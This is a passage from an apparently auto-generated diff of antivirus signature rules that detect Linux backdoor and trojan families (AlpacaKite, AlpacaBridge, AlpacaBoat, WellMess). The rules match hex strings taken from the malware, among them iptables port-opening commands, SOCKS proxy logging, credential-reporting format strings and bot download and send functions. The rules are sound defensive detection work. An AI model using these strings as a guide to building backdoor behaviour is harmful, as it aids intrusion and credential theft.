1)*25933+(#a_48_26 & 1)*21327+(#a_61_27 & 1)*27680+(#a_03_28 & 1)*29537+(#a_00_29 & 1)*3+(#a_00_30 & 1)*3+(#a_00_31 & 1)*3+(#a_00_32 & 1)*3+(#a_00_33 & 1)*3+(#a_00_34 & 1)*3+(#a_00_35 & 1)*3+(#a_00_36 & 1)*3+(#a_00_37 & 1)*3+(#a_00_38 & 1)*3+(#a_00_39 & 1)*3+(#a_00_40 & 1)*3+(#a_00_41 & 1)*3+(#a_00_42 & 1)*3) >=2 + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*20801+(#a_74_2 & 1)*25441+(#a_52_3 & 1)*17473+(#a_64_4 & 1)*28530+(#a_2e_5 & 1)*25970+(#a_61_6 & 1)*27759+(#a_68_7 & 1)*29793+(#a_65_8 & 1)*25460+(#a_00_9 & 1)*17487+(#a_5f_10 & 1)*17409+(#a_69_11 & 1)*28271+(#a_65_12 & 1)*28793+(#a_2d_13 & 1)*25974+(#a_2d_14 & 1)*11565+(#a_64_15 & 1)*28673+(#a_00_16 & 1)*25708+(#a_67_17 & 1)*27905+(#a_54_18 & 1)*14080+(#a_5b_19 & 1)*24933+(#a_00_21 & 1)*99+(#a_6d_22 & 1)*27137+(#a_20_23 & 1)*26988+(#a_66_24 & 1)*23908+(#a_5b_25 & 1)*11357+(#a_64_26 & 1)*30069+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_d6_29 & 1)*0+(#a_6f_30 & 1)*29231+(#a_01_31 & 1)*25714+(#a_63_32 & 1)*8304+(#a_72_33 & 1)*28772+(#a_66_35 & 1)*5632+(#a_6f_36 & 1)*8300+(#a_00_37 & 1)*27491+(#a_74_38 & 1)*29441+(#a_68_39 & 1)*24936+(#a_70_40 & 1)*29807+(#a_74_41 & 1)*267+(#a_6e_42 & 1)*25376) >=2 } -rule _InfrastructureShared_20984{ +rule _InfrastructureShared_22259{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 24 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 4b 69 74 65 2e 41 21 64 68 61 00 02 00 39 01 00 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 75 6d 70 73 65 72 76 65 72 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d } //16675 + $a_2d_1 = {2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 00 02 00 0c 01 6a 75 6d 70 73 65 72 76 65 72 2e 63 01 00 0f 01 4d 41 47 49 43 43 4f 44 45 20 65 72 72 } //11565 + $a_00_2 = {10 } //29295 + $a_73_3 = {72 76 65 20 70 6f 72 74 20 25 64 2c 01 00 12 01 72 65 73 65 72 76 65 20 73 75 63 63 65 73 73 20 25 64 01 00 35 01 00 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 52 65 70 6f 72 74 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 00 01 00 1f 01 70 69 64 5b 25 6c } //29185 + $a_73_4 = {72 76 65 72 5b 25 73 3a 25 73 5d 2c 75 75 69 64 5b 25 73 5d 01 00 12 01 63 6f 6d 6d 61 6e 64 73 20 25 64 2c 72 65 74 20 25 64 01 00 } //23908 + $a_6f_5 = {6c 69 6e 65 20 25 64 01 00 11 01 74 69 6d 65 73 74 61 6d 70 20 25 6c 64 2f 25 6c 64 01 00 13 01 67 6c 6f 62 61 6c 20 6a 6f 62 20 73 69 7a 65 20 25 6c 64 01 00 2b 01 6d 61 67 69 63 5f 65 72 72 5b 25 64 5d 2c 64 65 73 74 5f 6c 65 6e 5f 65 72 72 5b 25 64 5d 2c 64 65 73 74 5f 65 72 72 5b 25 64 5d 01 00 35 01 00 2d 2d 2d } //266 + $a_2d_6 = {2d 2d 2d 2d 2d 2d 2d 2d 2d 54 68 72 65 61 64 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 00 01 } //11565 + $a_54_7 = {72 } //14080 r + $a_5b_8 = {64 5d 3a 20 77 6f 72 6b 69 6e 67 5b 25 64 5d 2c 6a 6f 62 6c 69 6e 65 73 5b 25 64 5d 2c 68 61 6e 64 6c 65 5b 25 64 5d 2c 65 72 72 5b 25 64 5d 01 00 0a 01 00 61 6e 72 5f 74 65 73 74 00 01 00 14 01 66 61 69 6c 20 74 6f 20 65 78 65 63 20 63 6f 6d 6d 61 6e 64 01 00 09 01 2f 74 6d 70 2f 2e 6d 73 63 01 00 } //24933 + $a_00_10 = {13 } //99 + $a_6d_11 = {73 65 72 65 72 20 6e 6f 74 20 65 78 69 73 74 01 00 29 01 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 74 6f 20 25 73 3a 25 73 2c 72 65 74 72 79 20 61 66 74 65 72 20 25 64 20 73 01 00 27 01 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 74 6f 20 25 73 3a 25 73 2c 72 65 74 72 79 20 61 66 74 65 72 20 35 73 01 00 2f 01 66 61 69 6c 20 74 6f 20 76 61 } //27137 + $a_20_12 = {72 72 69 76 65 64 20 61 63 6b 2c 20 25 73 3a 25 73 2c 72 65 74 72 79 20 61 66 74 65 72 20 35 73 01 00 1b 01 73 75 63 63 65 73 73 20 72 65 67 69 73 74 65 72 20 5b 25 73 3a 25 73 5d 20 25 73 01 00 17 01 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 62 61 63 6b 65 6e 64 01 00 4c 01 70 69 64 5b 25 6c } //26988 + $a_66_13 = {5b 25 64 5d 2c 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 20 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 } //23908 [%d],port[%d],dest[%s] ,client[%d],server[%d + $a_5b_14 = {64 5d 2c 65 72 72 6e 6f 5b 25 64 5d 20 45 4f 46 01 00 0a 01 2f 74 6d 70 2f 2e 6a 6c 6f 67 01 00 13 01 70 72 6f 63 3a 20 25 64 2f 25 64 2c 20 65 72 72 20 25 64 01 00 1f 01 6d 62 65 64 74 6c 73 5f 73 73 6c 5f 77 72 69 74 65 20 63 6d 64 46 6c 61 67 20 65 72 72 6f 72 01 00 1c 01 6d 62 65 64 74 6c 73 5f 73 73 6c 5f 77 72 69 74 65 20 } //11357 + $a_64_15 = {65 72 72 6f 72 01 00 0b 01 78 61 32 61 78 61 73 65 78 71 78 01 00 0d 01 63 68 61 6e 67 65 5f 70 75 62 5f 69 70 01 00 0c 01 66 61 69 6c 20 74 6f 20 66 6f 72 6b 01 00 19 01 66 61 69 6c 20 74 6f 20 61 6c 6c 6f 63 20 73 73 6c 5f 63 6f 6e 74 65 78 74 01 00 13 01 6c 6f 61 64 20 68 61 6e 64 20 25 64 2c 72 65 71 20 25 64 } //30069 + $a_01_16 = {74 68 72 65 61 64 20 25 6c 64 20 72 75 6e 6e 69 6e 67 } //1 thread %ld running + $a_01_17 = {70 6f 6e 67 31 31 20 25 64 } //1 pong11 %d + $a_d6_18 = {00 03 00 03 00 28 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 42 72 69 64 67 65 2e 42 21 64 68 61 00 02 00 09 01 77 62 70 78 63 30 31 30 32 02 00 26 01 78 61 72 76 78 78 76 66 64 78 64 33 78 31 37 62 60 41 64 73 53 58 43 73 61 47 48 78 65 74 64 76 62 68 6a 6b 2e 2f 02 00 20 01 39 33 61 36 35 39 33 34 31 38 65 62 34 64 34 39 61 62 64 65 66 64 34 37 64 64 65 36 66 66 66 63 02 00 17 01 } //0 + $a_6f_19 = {2f 70 72 6f 6a 65 63 74 2f 65 70 6f 6c 6c 5f 73 35 2f 01 00 0d 01 5b 31 3b 39 30 6d 20 25 73 3a 25 64 20 01 00 1d 01 00 65 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 00 01 00 18 01 00 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 73 65 72 76 65 72 00 01 00 0e 01 62 61 64 20 63 6f 6e 66 20 77 6f } //29231 + $a_01_20 = {00 15 01 00 72 65 61 64 20 75 73 65 72 6e 61 6d 65 20 65 72 72 6f 72 00 01 00 15 01 00 72 65 61 64 20 70 61 73 73 77 6f 72 64 20 65 72 72 6f 72 00 01 00 15 01 00 66 61 69 6c 20 74 6f 20 63 72 65 61 74 65 20 70 69 70 65 00 01 00 0e 01 00 66 61 69 6c 20 74 6f 20 66 6f 72 6b 00 01 00 2d 01 69 70 74 61 62 6c 65 73 20 2d 44 20 49 4e 50 55 54 20 2d } //25714 + $a_63_21 = {20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 2f 01 69 70 74 61 62 6c 65 73 20 2d 49 20 49 4e 50 55 54 20 32 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 3a 01 69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 44 20 20 50 52 45 52 4f 55 54 49 4e 47 20 2d 70 20 74 63 70 20 2d 2d } //8304 + $a_72_22 = {20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 3c 01 69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 49 20 20 50 52 45 52 4f 55 54 49 4e 47 20 32 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 15 01 69 70 74 61 62 6c 65 73 20 2d 6e 20 20 2d 4c 20 49 4e 50 55 54 01 00 08 01 00 64 70 74 3a } //28772 + $a_66_24 = {69 } //5632 i + $a_6f_25 = {73 65 74 75 70 20 69 70 74 61 62 6c 65 73 01 00 0d 01 5b 31 3b 33 31 6d 20 25 73 3a 25 64 20 01 00 10 01 73 73 6c 5f 73 6f 63 6b 73 5f 73 65 72 76 65 72 01 00 0d 01 73 72 63 2f 6d 62 65 64 74 6c 73 2e 63 01 00 0a 01 6e 74 5f 61 63 74 4d 61 69 6c 01 00 11 01 73 72 63 2f 73 6f 63 6b 73 5f 65 70 6f 6c 6c 2e 63 01 00 0b 01 77 72 69 74 65 20 66 6c 6f } //8300 + $a_00_26 = {28 } //27491 ( + $a_74_27 = {70 20 75 3a 25 73 20 70 3a 25 73 20 72 65 70 6f 72 74 3a 5b 25 73 3a 25 73 5d 20 62 72 61 6e 64 5b 25 73 5d 01 00 30 01 68 61 73 68 5f 69 6e 73 65 72 74 20 65 72 72 6f 72 2c 75 75 69 64 20 25 73 2c 73 65 72 76 65 72 20 25 73 3a 25 73 2c 75 3d 25 73 2c 70 3d 25 73 01 00 1a 01 73 79 6e 63 20 25 64 2c 20 } //29441 + $a_68_28 = {63 6e 74 20 25 64 20 6e 6f 64 65 73 01 00 10 01 2f 76 70 73 2f 2e 73 70 65 65 64 74 61 62 6c 65 01 00 14 01 25 73 2f 25 73 5f 25 6c 64 5f 25 6c 64 5f 25 70 2e 74 78 74 01 00 30 01 50 61 6e 69 63 2c 63 6c 69 65 6e 74 20 65 6e 74 65 72 20 20 73 6f 63 6b 73 5f 6e 65 78 74 5f 68 6f 70 5f 74 6c 73 5f 68 61 6e 64 73 68 61 6b 65 01 00 11 01 2f 72 6f } //24936 + $a_70_29 = {6f 6a 65 63 74 2f 73 73 2f 01 00 20 01 72 65 70 6f 72 74 20 75 73 65 72 6e 61 6d 65 5b 25 73 5d 2c 70 61 73 73 77 6f 72 64 5b 25 73 5d 01 00 } //29807 + $a_74_30 = {70 2f 73 73 2e 70 69 64 01 00 18 01 73 6f 63 6b 35 5f 68 61 6e 64 73 68 61 6b 65 20 65 72 72 6f 72 3a 25 64 01 00 17 01 66 61 69 6c 20 74 6f } //267 + $a_6e_31 = {65 63 74 20 62 61 63 6b 65 6e 64 01 00 43 01 66 64 5b 25 64 5d 2c 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 20 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 5d 2c 6e 5b 25 64 5d 2c 65 72 72 6e 6f 5b 25 64 5d 20 45 4f 46 01 00 13 01 64 65 73 74 20 63 61 6e 27 74 20 72 65 61 63 68 20 25 64 01 00 0d 01 00 50 } //25376 + $a_74_32 = {68 72 65 61 64 00 01 00 1c 03 01 20 f1 e5 01 30 83 e2 00 00 52 e3 90 01 01 00 51 15 00 20 22 10 01 20 43 e5 90 00 00 00 8c 1e 05 00 02 00 02 00 31 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 65 73 73 2e 44 21 64 68 61 00 02 00 29 03 2a 62 6f 74 6c 90 01 01 62 2e 72 63 36 63 69 70 68 65 72 } //26994 + $a_2a_33 = {68 61 6e 3c 2d 20 73 74 72 75 63 74 20 7b 7d } //0 + $a_03_34 = {4d 69 73 73 65 ?? 20 6d 65 3f 20 } //1 + $a_03_35 = {2a 62 6f 74 6c ?? 62 2e 4b 65 79 53 69 7a 65 45 72 72 6f 72 } //1 + condition: + ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*11565+(#a_00_2 & 1)*29295+(#a_73_3 & 1)*29185+(#a_73_4 & 1)*23908+(#a_6f_5 & 1)*266+(#a_2d_6 & 1)*11565+(#a_54_7 & 1)*14080+(#a_5b_8 & 1)*24933+(#a_00_10 & 1)*99+(#a_6d_11 & 1)*27137+(#a_20_12 & 1)*26988+(#a_66_13 & 1)*23908+(#a_5b_14 & 1)*11357+(#a_64_15 & 1)*30069+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_d6_18 & 1)*0+(#a_6f_19 & 1)*29231+(#a_01_20 & 1)*25714+(#a_63_21 & 1)*8304+(#a_72_22 & 1)*28772+(#a_66_24 & 1)*5632+(#a_6f_25 & 1)*8300+(#a_00_26 & 1)*27491+(#a_74_27 & 1)*29441+(#a_68_28 & 1)*24936+(#a_70_29 & 1)*29807+(#a_74_30 & 1)*267+(#a_6e_31 & 1)*25376+(#a_74_32 & 1)*26994+(#a_2a_33 & 1)*0+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1) >=3 + +} +rule _InfrastructureShared_22260{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 28 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 42 72 69 64 67 65 2e 42 21 64 68 61 00 02 00 09 01 77 62 70 78 63 30 31 30 32 02 00 26 01 78 61 72 76 78 78 76 66 64 78 64 33 78 31 37 62 60 41 64 73 53 58 43 73 61 47 48 } //16675 + $a_64_1 = {62 68 6a 6b 2e 2f 02 00 20 01 39 33 61 36 35 39 33 34 31 38 65 62 34 64 34 39 61 62 64 65 66 64 34 37 64 64 65 36 66 66 66 63 02 00 17 01 2f 72 6f 6f 74 2f 70 72 6f 6a 65 63 74 2f 65 70 6f 6c 6c 5f 73 35 2f 01 00 0d 01 5b 31 3b 39 30 6d 20 25 73 3a 25 64 20 01 00 1d 01 00 65 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 } //25976 + $a_00_3 = {66 } //6144 f + $a_20_4 = {6f 20 63 6f 6e 6e 65 63 74 20 73 65 72 76 65 72 00 01 00 0e 01 62 61 64 20 63 6f 6e 66 20 77 6f 72 64 73 01 00 15 01 00 72 65 61 64 20 75 73 65 72 6e 61 6d 65 20 65 72 72 6f 72 00 01 00 15 01 00 72 65 61 64 20 70 61 73 73 77 6f 72 64 20 65 72 72 6f 72 00 01 00 15 01 00 66 61 69 6c 20 74 6f 20 63 72 65 61 74 65 20 70 69 70 } //26977 + $a_00_5 = {0e } //101 + $a_61_6 = {6c 20 74 6f 20 66 6f 72 6b 00 01 00 2d 01 69 70 74 61 62 6c 65 73 20 2d 44 20 49 4e 50 55 54 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 2f 01 69 70 74 61 62 6c 65 73 20 2d 49 20 49 4e 50 55 54 20 32 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d } //1 + $a_43_7 = {45 50 54 01 00 3a 01 69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 44 20 20 50 52 45 52 4f 55 54 49 4e 47 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 } //8298 + $a_01_8 = {69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 49 20 20 50 52 45 52 4f 55 54 49 4e 47 20 32 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 } //1 iptables -t nat -I PREROUTING 2 -p tcp --dport %s -j ACCEPT + $a_01_9 = {69 70 74 61 62 6c 65 73 20 2d 6e 20 20 2d 4c 20 49 4e 50 55 54 } //1 iptables -n -L INPUT + $a_01_10 = {00 64 70 74 3a 25 73 00 } //1 搀瑰┺s + $a_01_11 = {66 61 69 6c 20 74 6f 20 73 65 74 75 70 20 69 70 74 61 62 6c 65 73 } //1 fail to setup iptables + $a_01_12 = {5b 31 3b 33 31 6d 20 25 73 3a 25 64 20 } //1 [1;31m %s:%d + $a_01_13 = {73 73 6c 5f 73 6f 63 6b 73 5f 73 65 72 76 65 72 } //1 ssl_socks_server + $a_01_14 = {73 72 63 2f 6d 62 65 64 74 6c 73 2e 63 } //1 src/mbedtls.c + $a_01_15 = {6e 74 5f 61 63 74 4d 61 69 6c } //1 nt_actMail + $a_01_16 = {73 72 63 2f 73 6f 63 6b 73 5f 65 70 6f 6c 6c 2e 63 } //1 src/socks_epoll.c + $a_01_17 = {77 72 69 74 65 20 66 6c 6f 63 6b } //1 write flock + $a_01_18 = {73 65 74 75 70 20 75 3a 25 73 20 70 3a 25 73 20 72 65 70 6f 72 74 3a 5b 25 73 3a 25 73 5d 20 62 72 61 6e 64 5b 25 73 5d } //1 setup u:%s p:%s report:[%s:%s] brand[%s] + $a_01_19 = {68 61 73 68 5f 69 6e 73 65 72 74 20 65 72 72 6f 72 2c 75 75 69 64 20 25 73 2c 73 65 72 76 65 72 20 25 73 3a 25 73 2c 75 3d 25 73 2c 70 3d 25 73 } //1 hash_insert error,uuid %s,server %s:%s,u=%s,p=%s + $a_01_20 = {73 79 6e 63 20 25 64 2c 20 68 61 73 68 20 63 6e 74 20 25 64 20 6e 6f 64 65 73 } //1 sync %d, hash cnt %d nodes + $a_01_21 = {2f 76 70 73 2f 2e 73 70 65 65 64 74 61 62 6c 65 } //1 /vps/.speedtable + $a_01_22 = {25 73 2f 25 73 5f 25 6c 64 5f 25 6c 64 5f 25 70 2e 74 78 74 } //1 %s/%s_%ld_%ld_%p.txt + $a_01_23 = {50 61 6e 69 63 2c 63 6c 69 65 6e 74 20 65 6e 74 65 72 20 20 73 6f 63 6b 73 5f 6e 65 78 74 5f 68 6f 70 5f 74 6c 73 5f 68 61 6e 64 73 68 61 6b 65 } //1 Panic,client enter socks_next_hop_tls_handshake + $a_01_24 = {2f 72 6f 6f 74 2f 70 72 6f 6a 65 63 74 2f 73 73 2f } //1 /root/project/ss/ + $a_01_25 = {72 65 70 6f 72 74 20 75 73 65 72 6e 61 6d 65 5b 25 73 5d 2c 70 61 73 73 77 6f 72 64 5b 25 73 5d } //1 report username[%s],password[%s] + $a_01_26 = {2f 74 6d 70 2f 73 73 2e 70 69 64 } //1 /tmp/ss.pid + $a_01_27 = {73 6f 63 6b 35 5f 68 61 6e 64 73 68 61 6b 65 20 65 72 72 6f 72 3a 25 64 } //1 sock5_handshake error:%d + $a_01_28 = {66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 62 61 63 6b 65 6e 64 } //1 fail to connect backend + $a_01_29 = {66 64 5b 25 64 5d 2c 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 20 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 5d 2c 6e 5b 25 64 5d 2c 65 72 72 6e 6f 5b 25 64 5d 20 45 4f 46 } //1 fd[%d],port[%d],dest[%s] ,client[%d],server[%d],n[%d],errno[%d] EOF + $a_01_30 = {64 65 73 74 20 63 61 6e 27 74 20 72 65 61 63 68 20 25 64 } //1 dest can't reach %d + $a_01_31 = {00 50 72 69 6e 74 54 68 72 65 61 64 00 } //1 + $a_03_32 = {01 20 f1 e5 01 30 83 e2 00 00 52 e3 ?? 00 51 15 00 20 22 10 01 20 43 e5 } //1 + $a_1e_33 = {00 02 00 02 00 31 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 65 73 73 2e 44 21 64 68 61 00 02 00 29 03 2a 62 6f 74 6c 90 01 01 62 2e 72 63 36 63 69 70 68 65 72 00 00 11 2a 63 68 61 6e 3c 2d 20 73 74 72 75 63 74 20 7b 7d 90 00 01 00 0f 03 4d 69 73 73 65 90 01 01 20 6d 65 3f 20 90 00 01 00 18 03 2a 62 6f 74 6c 90 01 01 62 2e 4b 65 79 53 69 7a 65 45 72 72 6f 72 90 00 01 00 16 03 } //0 + $a_6c_34 = {01 01 62 2e 45 6e 63 72 79 70 74 54 65 78 74 90 00 01 00 12 03 62 6f 74 6c ?? 62 2e 65 6e 63 72 79 70 74 90 00 01 00 12 03 62 6f 74 6c ?? 62 2e 43 6f 6d 6d 61 6e 64 90 00 01 00 1f 03 62 6f 74 6c ?? 62 2e 74 72 61 6e 73 66 6f 72 6d 52 69 67 68 74 74 42 79 74 65 73 90 00 01 00 10 03 62 6f 74 6c ?? 62 2e 72 65 70 6c 79 } //28514 + $a_03_35 = {62 6f 74 6c ?? 62 2e 53 65 72 76 69 63 65 } //1 + $a_03_36 = {62 6f 74 6c ?? 62 2e 73 61 76 65 46 69 6c 65 } //1 + $a_03_37 = {62 6f 74 6c ?? 62 2e 55 44 46 69 6c 65 } //1 + $a_03_38 = {62 6f 74 6c ?? 62 2e 44 6f 77 6e 6c 6f 61 64 } //1 + $a_03_39 = {62 6f 74 6c ?? 62 2e 53 65 6e 64 } //1 + condition: + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25976+(#a_00_3 & 1)*6144+(#a_20_4 & 1)*26977+(#a_00_5 & 1)*101+(#a_61_6 & 1)*1+(#a_43_7 & 1)*8298+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_03_32 & 1)*1+(#a_1e_33 & 1)*0+(#a_6c_34 & 1)*28514+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1) >=3 + +} +rule _InfrastructureShared_22261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 31 00 21 " @@ -276802,7 +293154,50 @@ rule _InfrastructureShared_20984{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_03_48 & 1)*1) >=2 } -rule _InfrastructureShared_20985{ +rule _InfrastructureShared_22262{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 25 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 42 6f 61 74 2e 41 21 64 68 61 00 02 00 12 01 2f 72 6f 6f 74 2f 70 72 6f 6a 65 63 74 2f 72 70 78 2f 02 00 1a 01 2f 68 6f 6d 65 2f 7a 68 61 6e 67 78 6b 2f 70 72 6f 6a } //16675 + $a_2f_1 = {70 78 2f 01 00 12 01 52 65 76 65 72 73 65 43 6f 6e 6e 65 63 74 49 6e 66 6f 01 00 0a 01 4c 6f 67 54 72 61 66 66 69 63 01 00 11 01 72 65 76 65 72 73 65 43 6f 6e 6e 54 68 72 65 61 64 01 00 15 01 00 72 65 61 64 48 65 61 72 74 42 65 61 74 54 68 72 65 61 64 00 01 00 0d 01 43 75 73 74 6f 6d 4b 65 79 54 6f 6f 6c 01 00 19 01 66 61 69 6c 20 74 6f 20 61 6c } //25445 + $a_20_2 = {73 6c 5f 63 6f 6e 74 65 78 74 01 00 21 01 66 61 69 6c 20 74 6f 20 61 6c 6c 6f 63 20 6d 62 65 64 74 6c 73 5f 73 73 6c 5f 63 6f 6e 74 65 78 74 01 00 2a 01 66 61 69 6c 65 64 3a 20 6d 62 65 64 74 6c 73 5f 73 73 6c 5f 73 65 74 75 70 20 72 65 74 75 72 6e 65 64 20 2d 30 78 25 30 34 78 01 00 21 01 66 61 } //28524 + $a_74_3 = {20 61 6c 6c 6f 63 20 6d 62 65 64 74 6c 73 5f 6e 65 74 5f 63 6f 6e 74 65 78 74 01 00 27 01 70 61 } //27753 + $a_2c_4 = {73 6c 5b 25 70 5d 2c 73 73 6c 5f 62 69 65 5b 25 70 5d 2c 63 6c 69 65 6e 74 5f 66 64 5b 25 64 5d 01 00 1b 01 70 61 6e 69 63 2c 75 6e 6b 6e 6f 77 6e 20 63 6c 69 65 6e 74 5f 66 64 5b 25 64 5d 01 00 16 01 70 61 6e 69 63 20 63 72 65 61 74 65 20 65 70 6f 6c 6c 20 65 72 72 01 00 18 01 70 61 6e 69 63 20 } //26990 + $a_20_5 = {70 6f 6c 6c 20 25 64 2c 66 64 3d 25 64 01 00 08 01 2f 76 70 73 2f 6c 6f 67 01 00 14 01 25 73 2f 25 73 5f 25 6c 64 5f 25 6c 64 5f 25 70 2e 74 78 74 01 00 0c 01 2f 76 70 73 2f 6f 66 66 6c 69 6e 65 01 00 28 01 73 6f 63 6b 35 5f 68 61 6e 64 73 68 61 6b 65 20 65 72 72 6f 72 3a 25 64 2c 75 75 69 64 20 25 } //25697 + $a_61_6 = {73 20 25 73 01 00 1a 01 66 61 69 6c 20 74 6f 20 63 72 65 61 74 65 20 74 6d 70 20 70 6f 72 74 3a 25 64 01 00 1f 01 66 61 69 6c 20 74 6f 20 63 72 65 61 74 65 20 74 6d 70 20 70 6f 72 74 20 33 20 74 69 6d 65 73 01 00 2a 01 66 61 69 6c 20 74 6f 20 73 65 6e 64 20 72 70 6f 72 74 20 75 5b 25 73 5d 20 64 65 73 74 5b 25 73 5d 2c 70 6f 72 74 5b } //11379 + $a_01_7 = {00 32 01 66 61 69 6c 20 74 6f 20 61 63 63 65 70 74 20 6e 65 77 20 63 6f 6e 6e 65 63 74 20 75 5b 25 73 5d 20 64 65 73 74 5b 25 73 5d 2c 70 6f 72 74 5b 25 64 5d 01 00 1c 01 66 61 69 6c 20 74 6f 20 61 6c 6c 20 43 6f 6e 6e 48 61 6e 64 6c 65 72 50 61 72 61 6d 01 00 26 01 70 61 6e 69 } //25637 + $a_61_8 = {6c 20 74 6f 20 72 65 63 79 63 6c 65 2c 6e 5b 25 64 5d 2c 65 78 70 65 63 74 5b 25 64 5d 01 00 29 01 77 61 72 6e 69 6e 67 3a 66 61 69 6c 20 74 6f 20 67 65 74 20 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 67 6f 61 64 6d 69 6e 01 